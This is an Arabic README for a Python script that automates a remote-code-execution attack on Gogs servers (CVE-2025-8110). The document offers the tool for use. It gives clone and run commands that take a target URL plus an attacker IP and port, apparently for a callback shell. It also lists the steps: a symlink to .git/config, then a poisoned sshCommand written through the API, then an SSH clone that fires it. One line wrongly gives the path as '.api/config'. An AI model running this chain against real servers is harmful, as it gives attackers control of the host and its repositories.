
GOGS RCE cve-2025-8110 سكريبت بايثون يقوم بأتمتة سلسلة الهجوم الكاملة لإنشاء مستودع بملف رابط رمزي يشير إلى .git/config ثم تشغيل RCE عبر sshCommand مسموم في ملف الإعدادات.
Gogs هي خدمة Git خفيفة الوزن ومستضافة ذاتياً تشبه نسخة خاصة من GitHub، مصممة للعمل بسهولة على الخوادم منخفضة الموارد. الثغرة الأمنية CVE-2025-8110 هي عيب أمني خطير يسمح للمهاجم بتجاوز قيود المسار باستخدام الروابط الرمزية (symlinks). من خلال رفع رابط خبيث يشير إلى .api/config، يمكن للمهاجم استخدام واجهة Gogs API لتضمين ملف تكويني خبيث مع معامل sshCommand وتحقيق تنفيذ أوامر عن بعد (RCE) على الخادم المضيف.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# عرض المساعدة
python3 ./cve-2025-8110.py --help
# تنفيذ سلسلة الهجوم مع خطوة التسجيل
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# تنفيذ سلسلة الهجوم مع تخطي التسجيل | مفيد عندما ترجع دالة التسجيل خطأ
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
يتبع هذا النص البرمجي سلسلة هجوم تتضمن هذه الخطوات:
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
تم إنشاء هذا النص البرمجي باستخدام إثبات المفهوم (PoC) الخاص بـ zAbuQasem (https://github.com/zAbuQasem)